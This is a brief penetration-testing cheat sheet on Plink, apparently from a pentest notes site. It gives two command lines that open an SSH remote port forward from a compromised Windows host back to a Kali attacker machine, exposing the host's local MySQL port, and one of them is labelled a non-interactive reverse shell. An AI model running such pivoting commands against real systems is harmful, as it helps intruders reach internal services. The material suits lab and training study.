Plink

Download Plink here: https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html

NOTE:

The SSH service needs to be active on the attacker machine.

Remote port forward non-interactive reverse shell

cmd.exe /c echo y | plink.exe -ssh -l <kali username> -pw <kali password> -R <kali ip>:1234:127.0.0.1:3306 <kali ip>

Remote port forward through remote desktop session

plink.exe -ssh -l <kali username> -pw <kali password> -R <kali ip>:1234:127.0.0.1:3306 <kali ip>

Last updated